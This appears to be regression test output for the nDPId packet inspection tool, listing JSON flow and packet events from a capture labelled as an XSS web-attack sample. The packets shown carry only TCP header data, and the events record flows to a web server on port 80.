+00433{"flow_id":298,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4225,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347474,"pkt_ts_usec":101745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IdlAAD4Go\/+sEAABwKgKMuDoAFDgcfeiJ2Z+CoAQAOUcqAAAAQEICgE61nkD5Kfu"} +00432{"flow_id":295,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4229,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347474,"pkt_ts_usec":741571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H0ZAAD4GppKsEAABwKgKMuCyAFAQe87KsjbpCYARAOUkKAAAAQEICgE61xkD5KMC"} +00432{"flow_id":295,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4230,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347474,"pkt_ts_usec":741789,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0QYdAAEAGglHAqAoyrBAAAQBQ4LKyNukJEHvOy4ARAOMenQAAAQEICgPkqI4BOtcZ"} +00432{"flow_id":295,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4231,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347474,"pkt_ts_usec":742557,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0H0dAAD4GppGsEAABwKgKMuCyAFAQe87LsjbpCoAQAOUemwAAAQEICgE61xkD5KiO"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4235,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":299,"flow_packet_id":1,"flow_first_seen":1499347475384,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57590,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":299,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4235,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347475,"pkt_ts_usec":384590,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8yGtAAD4G\/WSsEAABwKgKMuD2AFCdWh\/RAAAAAKACchDnnAAAAgQFtAQCCAoBOte6AAAAAAEDAwc="} +00444{"flow_id":299,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4236,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347475,"pkt_ts_usec":384723,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4PYsYAVjnVof0qAScSAJpQAAAgQFtAQCCAoD5KkvATrXugEDAwc="} +00434{"flow_id":299,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4237,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347475,"pkt_ts_usec":385274,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yGxAAD4G\/WusEAABwKgKMuD2AFCdWh\/SLGAFZIAQAOWorAAAAQEICgE617oD5Kkv"} +00433{"flow_id":296,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4241,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347475,"pkt_ts_usec":741829,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Mv1AAD4GktusEAABwKgKMuDAAFBLw+AyZKVfCoARAOWswwAAAQEICgE62BMD5KQ\/"} +00432{"flow_id":296,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4242,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347475,"pkt_ts_usec":742016,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09oJAAEAGzVXAqAoyrBAAAQBQ4MBkpV8KS8PgM4AQAOOnewAAAQEICgPkqYkBOtgT"} +00432{"flow_id":296,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4243,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347475,"pkt_ts_usec":742120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09oNAAEAGzVTAqAoyrBAAAQBQ4MBkpV8KS8PgM4ARAOOnegAAAQEICgPkqYkBOtgT"} +00432{"flow_id":296,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4244,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347475,"pkt_ts_usec":742620,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IBpAAD4Gpb6sEAABwKgKMuDAAFBLw+AzZKVfC4AQAOWneAAAAQEICgE62BMD5KmJ"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":254,"flow_packet_id":6,"flow_first_seen":1499347400752,"flow_last_seen":1499347406726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56792,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":254,"flow_packet_id":6,"flow_first_seen":1499347400752,"flow_last_seen":1499347406726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56792,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":255,"flow_packet_id":6,"flow_first_seen":1499347403327,"flow_last_seen":1499347408726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56818,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":255,"flow_packet_id":6,"flow_first_seen":1499347403327,"flow_last_seen":1499347408726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56818,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":256,"flow_packet_id":6,"flow_first_seen":1499347404575,"flow_last_seen":1499347409726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56832,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":256,"flow_packet_id":6,"flow_first_seen":1499347404575,"flow_last_seen":1499347409726,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56832,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":6,"flow_first_seen":1499347407100,"flow_last_seen":1499347412728,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56858,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":6,"flow_first_seen":1499347407100,"flow_last_seen":1499347412728,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56858,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":258,"flow_packet_id":6,"flow_first_seen":1499347408367,"flow_last_seen":1499347413728,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56872,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":258,"flow_packet_id":6,"flow_first_seen":1499347408367,"flow_last_seen":1499347413728,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56872,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":259,"flow_packet_id":6,"flow_first_seen":1499347409644,"flow_last_seen":1499347414728,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56886,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4245,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":259,"flow_packet_id":6,"flow_first_seen":1499347409644,"flow_last_seen":1499347414728,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56886,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4249,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":300,"flow_packet_id":1,"flow_first_seen":1499347476667,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57604,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":300,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4249,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347476,"pkt_ts_usec":667031,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86aJAAD4G3C2sEAABwKgKMuEEAFDYCDFYAAAAAKACchCaGQAAAgQFtAQCCAoBOtj6AAAAAAEDAwc="} +00444{"flow_id":300,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4250,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347476,"pkt_ts_usec":667152,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4QTgdpFp2AgxWaAScSB6wwAAAgQFtAQCCAoD5KpwATrY+gEDAwc="} +00432{"flow_id":300,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4251,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347476,"pkt_ts_usec":667916,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06aNAAD4G3DSsEAABwKgKMuEEAFDYCDFZ4HaRaoAQAOUZywAAAQEICgE62PoD5Kpw"} +00432{"flow_id":297,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4254,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347476,"pkt_ts_usec":742182,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VnlAAD4Gb1+sEAABwKgKMuDOAFAlMIJyZUe2pIARAOXWlQAAAQEICgE62Q0D5KV8"} +00432{"flow_id":297,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4255,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347476,"pkt_ts_usec":742396,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0HCdAAEAGp7HAqAoyrBAAAQBQ4M5lR7akJTCCc4ARAOPRjwAAAQEICgPkqoMBOtkN"} +00432{"flow_id":297,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4256,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347476,"pkt_ts_usec":742942,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VnpAAD4Gb16sEAABwKgKMuDOAFAlMIJzZUe2pYAQAOXRjQAAAQEICgE62Q0D5KqD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4266,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":1,"flow_first_seen":1499347479172,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":301,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347479,"pkt_ts_usec":172502,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iKNAAD4GPS2sEAABwKgKMuEeAFCusFPOAAAAAKACchCebgAAAgQFtAQCCAoBOtttAAAAAAEDAwc="} +00444{"flow_id":301,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4267,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347479,"pkt_ts_usec":172593,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4R7s2gFNrrBTz6AScSAAXwAAAgQFtAQCCAoD5KziATrbbQEDAwc="} +00432{"flow_id":301,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4268,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347479,"pkt_ts_usec":173365,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iKRAAD4GPTSsEAABwKgKMuEeAFCusFPP7NoBToAQAOWfZgAAAQEICgE6220D5Kzi"} +00434{"flow_id":298,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4272,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347479,"pkt_ts_usec":743404,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IdpAAD4Go\/6sEAABwKgKMuDoAFDgcfeiJ2Z+CoARAOUXJQAAAQEICgE62\/sD5Kfu"} +00432{"flow_id":298,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4273,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347479,"pkt_ts_usec":743593,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA003tAAEAG8FzAqAoyrBAAAQBQ4OgnZn4K4HH3o4ARAOMRowAAAQEICgPkrXEBOtv7"} +00434{"flow_id":298,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4274,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347479,"pkt_ts_usec":744191,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IdtAAD4Go\/2sEAABwKgKMuDoAFDgcfejJ2Z+C4AQAOURoAAAAQEICgE62\/wD5K1x"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4278,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":1,"flow_first_seen":1499347480438,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57644,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":302,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4278,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347480,"pkt_ts_usec":438728,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UJlAAD4GdTesEAABwKgKMuEsAFBzZ4wwAAAAAKACchCgCwAAAgQFtAQCCAoBOtypAAAAAAEDAwc="} +00444{"flow_id":302,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4279,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347480,"pkt_ts_usec":438857,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4SwTIR0Qc2eMMaAScSC+tQAAAgQFtAQCCAoD5K4fATrcqQEDAwc="} +00432{"flow_id":302,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4281,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347480,"pkt_ts_usec":439546,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UJpAAD4GdT6sEAABwKgKMuEsAFBzZ4wxEyEdEYAQAOVdvQAAAQEICgE63KkD5K4f"} +00434{"flow_id":299,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347480,"pkt_ts_usec":744072,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yG1AAD4G\/WqsEAABwKgKMuD2AFCdWh\/SLGAFZIARAOWjbwAAAQEICgE63PYD5Kkv"} +00432{"flow_id":299,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4285,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347480,"pkt_ts_usec":744297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qw9AAEAGGMnAqAoyrBAAAQBQ4PYsYAVknVof04ARAOOeNAAAAQEICgPkrmsBOtz2"} +00434{"flow_id":299,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4286,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347480,"pkt_ts_usec":745154,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yG5AAD4G\/WmsEAABwKgKMuD2AFCdWh\/TLGAFZYAQAOWeMgAAAQEICgE63PYD5K5r"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4290,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":1,"flow_first_seen":1499347481724,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57658,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":303,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4290,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347481,"pkt_ts_usec":724497,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8fSpAAD4GSKasEAABwKgKMuE6AFDTgqDBAAAAAKACchAqDwAAAgQFtAQCCAoBOt3rAAAAAAEDAwc="} +00444{"flow_id":303,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4291,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347481,"pkt_ts_usec":724628,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4TowvlKP04KgwqAScSD0WwAAAgQFtAQCCAoD5K9gATrd6wEDAwc="} +00432{"flow_id":303,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4292,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347481,"pkt_ts_usec":725410,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0fStAAD4GSK2sEAABwKgKMuE6AFDTgqDCML5SkIAQAOWTYwAAAQEICgE63esD5K9g"} +00432{"flow_id":300,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347481,"pkt_ts_usec":744461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06aRAAD4G3DOsEAABwKgKMuEEAFDYCDFZ4HaRaoARAOUU1AAAAQEICgE63fAD5Kpw"} +00432{"flow_id":300,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347481,"pkt_ts_usec":744593,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Pg9AAEAGhcnAqAoyrBAAAQBQ4QTgdpFq2AgxWoARAOMP4AAAAQEICgPkr2UBOt3w"} 